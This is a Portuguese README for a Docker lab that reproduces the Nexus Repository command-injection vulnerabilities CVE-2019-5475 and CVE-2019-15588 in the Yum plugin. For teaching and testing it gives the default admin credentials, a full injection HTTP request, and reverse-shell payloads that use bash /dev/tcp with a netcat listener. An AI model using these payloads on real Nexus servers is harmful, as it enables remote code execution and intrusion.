CVE-2019-5475

Laboratório para CVE-2019-5475 e CVE-2019-15588: vulnerabilidade de injeção de comandos RCE

0x00 Contexto

CVE-2019-5475 é uma vulnerabilidade de injeção de comandos RCE no Nexus relacionada ao plugin integrado Yum Repository. Foi divulgada inicialmente no hackerone. Porém, como a primeira correção oficial foi incompleta, acabou originando também a vulnerabilidade CVE-2019-15588.

Ambas as vulnerabilidades só podem ser exploradas após login como admin, mas a senha padrão do administrador do Nexus, admin123, frequentemente não é alterada, tornando a exploração muito fácil.

0x10 Ambiente do laboratório

0x20 Estrutura de diretórios

CVE-2019-5475
├── nexus-yum-core .......... [用于 debug 的 Maven 项目：模拟在 nexus GUI 输入 createrepo 或 mergerepo]
├── nexus ................... [Nexus 容器的数据挂载目录]
├── attacker ................ [攻击者机器的构建目录]
│   └── Dockerfile .......... [攻击者机器的 Docker 构建文件]
├── docker-compose.yml ...... [Docker 的构建配置]
├── imgs .................... [辅助 README 说明的图片]
└── README.md ............... [此 README 说明]

0x40 Configuração do laboratório

• Docker e docker-compose pré-instalados no host
• Baixe este repositório: git clone https://github.com/lyy289065406/CVE-2019-5475
• Abra o diretório de build do Nexus: cd CVE-2019-5475
• Construa e execute o Nexus: docker-compose up -d
• Após cerca de 5 minutos, o Nexus pode ser acessado pelo navegador (BasicAuth é admin/admin123), onde:

Este laboratório também inclui uma máquina de ataque 172.168.50.2, na mesma rede das duas máquinas-alvo, usada para validar a reverse shell.

0x50 Validação do laboratório (CVE-2019-5475)

0x51 PoC

Faça login como admin em http://127.0.0.1:8009/nexus/#capabilities; em Administration -> Capabilities -> Yum: Configuration -> Settings, é possível encontrar o ponto de injeção de RCE.

Os campos Path of "createrepo" e Path of "mergerepo" podem ser injetados, e o resultado da execução pode ser visualizado em Status.

Por exemplo, ao construir o PoC bash -c id || python no ponto de injeção createrepo, é possível obter em Status o resultado da execução do comando bash -c id: uid=200(nexus) gid=200(nexus) groups=200(nexus).

A requisição do PoC correspondente pode ser capturada via BurpSuite:

PUT /nexus/service/siesta/capabilities/RANDOM_ID HTTP/1.1
Host: 127.0.0.1:8009
accept: application/json
Content-Type: application/json
Authorization: Basic YWRtaW46YWRtaW4xMjM=
Connection: close

{"typeId":"yum","enabled":true,"properties":[{"key":"createrepoPath","value":"bash -c id || python"}],"id":"RANDOM_ID"}

0x52 EXP

Este ponto de injeção pode ser facilmente explorado para construir uma reverse shell:

• Acesse a máquina de ataque: docker exec -it -u root docker_attacker /bin/bash
• Use o netcat para escutar a reverse shell: nc -lvvp 4444
• Construa o payload no ponto de injeção createrepo acima: bash -c $@|bash 0 echo bash -i >&/dev/tcp/172.168.50.2/4444 0>&1 || python

0x60 Validação do laboratório (CVE-2019-15588)

0x61 PoC

O ponto de injeção é o mesmo do CVE-2019-5475; ajuste o PoC para: /bin/bash -c id || /createrepo

0x62 EXP

Esta vulnerabilidade pode ser explorada usando o mesmo método para obter uma reverse shell:

• Acesse a máquina de ataque: docker exec -it -u root docker_attacker /bin/bash
• Use o netcat para escutar a reverse shell: nc -lvvp 4444
• Construa o payload no ponto de injeção createrepo: /bin/bash -c $@|bash 0 echo bash -i >&/dev/tcp/172.168.50.2/4444 0>&1 || /createrepo

0x70 Correção da vulnerabilidade

• Para CVE-2019-5475: Primeiro patch oficial de correção
• Para CVE-2019-15588: Segundo patch oficial de correção

0x80 Sobre o nexus-yum-core

nexus-yum-core é o trecho de código central do Nexus relacionado à exploração desta vulnerabilidade, usado principalmente para depurar e analisar diretamente o payload de entrada no backend, sem a necessidade de construir um serviço Nexus completo a partir do código-fonte.

0x90 Referências

• https://paper.seebug.org/1260/
• https://blog.spoock.com/2018/11/25/getshell-bypass-exec/